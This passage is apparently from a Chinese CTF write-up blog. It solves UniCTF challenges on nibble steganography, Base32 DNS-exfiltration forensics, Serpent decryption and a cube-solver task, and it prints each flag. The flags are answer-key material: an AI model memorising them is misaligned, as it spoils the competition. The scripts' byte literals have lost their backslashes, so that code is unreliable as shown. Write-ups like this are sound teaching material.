class=\"wp-image-2668\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u4e00\u5171\u4e24\u5f20png \u4f46\u662f\u4e2d\u95f4\u6709\u6570\u636e\u5148\u63d0\u53d6\u51fa\u6765<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">exp.py<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>import sys\n\ndef step1():\n    try:\n        with open('\u6bd4\u7279.jpg', 'rb') as f:\n            data = f.read()\n\n        jpeg_end = data.find(b'xffxd9')\n        if jpeg_end == -1:\n            print(\"Error: JPEG end not found\")\n            return None\n\n        jpeg_end += 2\n\n        png_start = data.find(b'x89PNG')\n        if png_start == -1:\n            print(\"Error: PNG start not found\")\n            return None\n\n        middle_data = data&#91;jpeg_end:png_start]\n\n        print(f\"JPEG End: {jpeg_end}\")\n        print(f\"PNG Start: {png_start}\")\n        print(f\"Middle Data Length: {len(middle_data)}\")\n\n        return middle_data\n\n    except FileNotFoundError:\n        print(\"Error: File not found\")\n        return None\n\nif __name__ == '__main__':\n    step1()<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-336.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"796\" height=\"763\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-336.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2669\"  sizes=\"auto, (max-width: 796px) 100vw, 796px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Nibble \u9690\u5199<\/strong> \u662f\u4e00\u79cd\u5c06\u9690\u85cf\u4fe1\u606f\u62c6\u5206\u5e76\u5b58\u50a8\u5728\u5b57\u8282\u7684\u201c\u534a\u5b57\u8282\u201d\uff08\u5373 4 \u4f4d\uff09\u4e2d\u7684\u6570\u636e\u9690\u85cf\u6280\u672f\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u5728\u8ba1\u7b97\u673a\u4e2d\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>1 Byte (\u5b57\u8282)<\/strong> = 8 Bits (\u4f4d)<\/li>\n\n\n\n<li><strong>1 Nibble (\u534a\u5b57\u8282)<\/strong> = 4 Bits (\u4f4d)<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">\u4e00\u4e2a\u5b57\u8282\u901a\u5e38\u7528\u4e24\u4e2a\u5341\u516d\u8fdb\u5236\u6570\u5b57\u8868\u793a\uff08\u4f8b\u5982 <code>0xAB<\/code>\uff09\uff0c\u5176\u4e2d <code>A<\/code> \u662f<strong>\u9ad8\u56db\u4f4d<\/strong>\uff08High Nibble\uff09\uff0c<code>B<\/code> \u662f<strong>\u4f4e\u56db\u4f4d<\/strong>\uff08Low Nibble\uff09\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u6838\u5fc3\u539f\u7406<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Nibble \u9690\u5199\u7684\u6838\u5fc3\u601d\u60f3\u662f\uff1a<strong>\u4e0d\u76f4\u63a5\u5b58\u50a8\u5b8c\u6574\u7684\u5b57\u8282\uff0c\u800c\u662f\u628a\u79d8\u5bc6\u6570\u636e\u62c6\u5f00\uff0c\u585e\u8fdb\u8f7d\u4f53\u6570\u636e\u7684\u201c\u9ad8 4 \u4f4d\u201d\u6216\u201c\u4f4e 4 \u4f4d\u201d\u4e2d\u3002<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u901a\u5e38\u6709\u4e24\u79cd\u5e38\u89c1\u7684\u73a9\u6cd5\uff1a<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">A. \u66ff\u6362\u5f0f<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u7c7b\u4f3c\u4e8e LSB\uff08\u6700\u4f4e\u6709\u6548\u4f4d\uff09\u9690\u5199\uff0c\u4f46\u66f4\u7c97\u66b4\u3002\u5c06\u79d8\u5bc6\u6570\u636e\u7684 4 \u4f4d\u585e\u5165\u8f7d\u4f53\u50cf\u7d20\u7684\u4f4e 4 \u4f4d\u3002<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>\u8f7d\u4f53<\/strong>: <code>0xAF<\/code> (\u50cf\u7d20\u503c)<\/li>\n\n\n\n<li><strong>\u79d8\u5bc6<\/strong>: <code>0x3<\/code> (\u6570\u636e)<\/li>\n\n\n\n<li><strong>\u7ed3\u679c<\/strong>: <code>0xA3<\/code><\/li>\n\n\n\n<li><strong>\u6548\u679c<\/strong>: \u56fe\u7247\u4f1a\u6709\u660e\u663e\u566a\u70b9\uff0c\u4f46\u8089\u773c\u53ef\u80fd\u5ffd\u7565\u3002<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">B. \u5206\u79bb\u91cd\u7ec4\u5f0f<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u5c06\u4e24\u4e2a\u4e0d\u540c\u7684\u6587\u4ef6\u201c\u4ea4\u7ec7\u201d\u5728\u4e00\u8d77\u3002<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>\u6587\u4ef6 A (\u79d8\u5bc6\u6587\u4ef6)<\/strong>: \u653e\u5728\u6240\u6709\u5b57\u8282\u7684<strong>\u9ad8 4 \u4f4d<\/strong>\u3002<\/li>\n\n\n\n<li><strong>\u6587\u4ef6 B (\u63a9\u62a4\u6587\u4ef6)<\/strong>: \u653e\u5728\u6240\u6709\u5b57\u8282\u7684<strong>\u4f4e 4 \u4f4d<\/strong>\u3002<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">\u8fd9\u79cd\u65b9\u5f0f\u751f\u6210\u7684\u201c\u6df7\u5408\u6587\u4ef6\u201d\u901a\u5e38\u65e0\u6cd5\u6b63\u5e38\u6253\u5f00\uff0c\u6216\u8005\u770b\u8d77\u6765\u50cf\u662f\u4e71\u7801\uff0c\u4f46\u901a\u8fc7\u811a\u672c\u63d0\u53d6\u7279\u5b9a\u7684\u4e00\u534a\u4f4d\uff0c\u5c31\u80fd\u8fd8\u539f\u51fa\u4e24\u4e2a\u72ec\u7acb\u7684\u6587\u4ef6\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u6839\u636e\u9898\u76ee\u63d0\u793a\u9a8c\u8bc1<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u9700\u8981\u628a\u8fd9\u4e9b\u9ad8 4 \u4f4d\u63d0\u53d6\u51fa\u6765\uff0c\u6bcf\u4e24\u4e2a\u62fc\u6210\u4e00\u4e2a\u5b8c\u6574\u7684\u5b57\u8282\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">exp.py<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>import sys\n\ndef step2():\n    with open('\u6bd4\u7279.jpg', 'rb') as f:\n        data = f.read()\n\n    jpeg_end = data.find(b'xffxd9') + 2\n    png_start = data.find(b'x89PNG')\n    middle_data = data&#91;jpeg_end:png_start]\n\n    high_nibbles = &#91;]\n    for byte in middle_data:\n        high_nibbles.append(byte &gt;&gt; 4)\n\n    reconstructed_bytes = bytearray()\n    for i in range(0, len(high_nibbles) - 1, 2):\n        high = high_nibbles&#91;i]\n        low = high_nibbles&#91;i+1]\n        byte_val = (high &lt;&lt; 4) | low\n        reconstructed_bytes.append(byte_val)\n\n    with open('step2_hidden.zip', 'wb') as f:\n        f.write(reconstructed_bytes)\n\n    print(\"Step 2 Done: Saved step2_hidden.zip\")\n\nif __name__ == '__main__':\n    step2()<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-337.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1025\" height=\"700\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-337.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2670\"  sizes=\"auto, (max-width: 1025px) 100vw, 1025px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">binwalk \u6216\u8005 foremost \u53ef\u4ee5\u51fa\u6765\u538b\u7f29\u5305<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-338-1024x250.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"250\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-338-1024x250.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2671\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-339.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"670\" height=\"479\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-339.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2672\"  sizes=\"auto, (max-width: 670px) 100vw, 670px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>UniCTF{Y0u_4r3_4_6r347_h4ck3r_!}<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">Silent Resolver<\/h2>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-340-1024x475.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"475\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-340-1024x475.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2673\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-341-1024x519.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"519\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-341-1024x519.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2674\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u53d1\u73b0\u5f02\u5e38\u7684DNS\u6d41 \u53ef\u4ee5\u5224\u65adDNS\u85cf\u4e86\u6570\u636e<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u67e5\u770b\u65e5\u5fd7\u6587\u4ef6\uff0c\u8fc7\u6ee4\u51fa\u5f02\u5e38 DNS \u8bf7\u6c42\u3002\u53d1\u73b0\u57df\u540d\u540e\u7f00 exfil.unictf.local \u5e26\u6709\u5e8f\u5217\u53f7\uff080000-0005\uff09\uff0c\u4e14\u5b50\u57df\u540d\u90e8\u5206\u7531 a-z \u548c 2-7 \u7ec4\u6210\uff0c\u5224\u65ad\u4e3a Base32 \u7f16\u7801\u3002\n\n\u63d0\u53d6\u6709\u6548 Payload \u5982\u4e0b\uff1a\n\n0000: kbfqgbauaaaaacaajbsskxfwamzbcoaaaaadmaaaaaeaaaaamz\n\n0001: wgczzoor4hic6nzn2a44nloyy4qk4jb4utekjorf37cc4ob4wd\n\n0002: klrsjqwy4n6pgcxiz5zvjthsrcpxgbgdddqpgzhc4mrofgxaka\n\n0003: cqjmaqefadcqaaaaaiabegkjk4wybteejyaaaaanqaaaaaqaaa\n\n0004: aaaaaaaaaaaaaaeaaeaaaaaamzwgczzoor4hiuclaudaaaaaaa\n\n0005: aqaaiagyaaaac6aaaaaaaa<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u89e3\u5bc6\u811a\u672c<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u5c06\u6570\u636e\u6309\u5e8f\u62fc\u63a5\uff0c\u4f7f\u7528 Python \u8fdb\u884c Base32 \u89e3\u7801\u5e76\u5199\u5165\u6587\u4ef6\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">exp.py<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>import base64\n\npayloads = &#91;\n    \"kbfqgbauaaaaacaajbsskxfwamzbcoaaaaadmaaaaaeaaaaamz\",\n    \"wgczzoor4hic6nzn2a44nloyy4qk4jb4utekjorf37cc4ob4wd\",\n    \"klrsjqwy4n6pgcxiz5zvjthsrcpxgbgdddqpgzhc4mrofgxaka\",\n    \"cqjmaqefadcqaaaaaiabegkjk4wybteejyaaaaanqaaaaaqaaa\",\n    \"aaaaaaaaaaaaaaeaaeaaaaaamzwgczzoor4hiuclaudaaaaaaa\",\n    \"aqaaiagyaaaac6aaaaaaaa\"\n]\n\ndata = \"\".join(payloads).upper()\nfile_bytes = base64.b32decode(data)\n\nwith open(\"result.zip\", \"wb\") as f:\n    f.write(file_bytes)\n    print(\"&#91;+] result.zip \u751f\u6210\u6210\u529f\")<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-342.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1025\" height=\"699\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-342.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2675\"  sizes=\"auto, (max-width: 1025px) 100vw, 1025px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>UniCTF{D0nt_Tr4st_DNS_Qu3r1es_7h3y_M1ght_H1d3_S3cr3ts}<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">Sign in<\/h2>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-343-1024x448.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"448\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-343-1024x448.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2676\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u6587\u4ef6\u5185\u5bb9<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-344.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"580\" height=\"160\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-344.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2677\"  sizes=\"auto, (max-width: 580px) 100vw, 580px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u901a\u8fc7\u6587\u4ef6\u540d\u731c\u6d4b\u662fserpent\u52a0\u5bc6\uff0c\u5728Serpent Encryption \u2013 Easily encrypt or decrypt strings<br>or files\u89e3\u5bc6\uff0c\u4f46\u662f\u9700\u8981\u79d8\u94a5\uff0c\u53f3\u952e\u67e5\u770b\u79d8\u94a5<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-345-1024x607.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"607\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-345-1024x607.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2678\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u53d1\u73b0\u9519\u4e86\uff0c\u89e3\u4e00\u4e0b\u7801<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-346.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"702\" height=\"766\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-346.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2679\"  sizes=\"auto, (max-width: 702px) 100vw, 702px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u518d\u6b21\u89e3\u5bc6<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-347-1024x725.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"725\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-347-1024x725.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2680\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>UniCTF{Serpentine_Secrets}<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">Cube God<\/h2>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-348-1024x586.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"586\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-348-1024x586.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2681\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u8003\u5bdf\u7684\u662f\u5bf9\u641c\u7d22\u7a7a\u95f4\u7684\u7406\u89e3\u548c Python \u6027\u80fd\u4f18\u5316<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u6e90\u7801\u5206\u6790<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u6311\u6218\u76ee\u6807\uff1a<\/strong> \u8fde\u7eed\u8fd8\u539f 100 \u4e2a 2&#215;2 \u9b54\u65b9\u3002 <strong>\u8f93\u5165\uff1a<\/strong> \u6bcf\u4e00\u8f6e\u670d\u52a1\u5668\u4f1a\u7ed9\u51fa\u4e00\u4e2a\u6253\u4e71\u7684 2&#215;2 \u9b54\u65b9\u72b6\u6001\uff0c\u4f46 <strong>\u9690\u85cf\u4e86\u5176\u4e2d\u4e00\u4e2a\u9762<\/strong>\uff08\u53ef\u80fd\u662f U, D, F, B, L, R \u4e2d\u7684\u4efb\u610f\u4e00\u4e2a\uff09\u3002 <strong>\u9650\u5236\u6761\u4ef6\uff1a<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u65f6\u95f4\u9650\u5236\uff1a \u6bcf\u4e00\u8f6e\u53ea\u6709 1\u79d2 \u7684\u65f6\u95f4 (signal.alarm(1) )\u3002\u8fd9\u610f\u5473\u7740\u5e38\u89c4\u7684 Python \u641c\u7d22\u7b97\u6cd5\uff08\u5982\u7eaf BFS \u6216 IDDFS\uff09\u5728\u8fd0\u884c\u65f6\u8ba1\u7b97\u4f1a\u8d85\u65f6\u3002\n\u6b65\u6570\u9650\u5236\uff1a \u6700\u5927\u5141\u8bb8 11 \u6b65 (MAX_MOVES = 11 )\u3002\u8fd9\u662f 2x2 \u9b54\u65b9\u7684\u4e0a\u5e1d\u4e4b\u6570\uff08God's Number\uff09\uff0c\u610f\u5473\u7740\u5fc5\u987b\u6c42\u51fa\u6700\u4f18\u89e3\u6216\u63a5\u8fd1\u6700\u4f18\u89e3\u3002\n\u73af\u5883\uff1a Python 3.13 \u5bb9\u5668\u73af\u5883\u3002<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u6838\u5fc3\u96be\u70b9\uff1a<\/strong><\/p>\n\n\n\n<ul 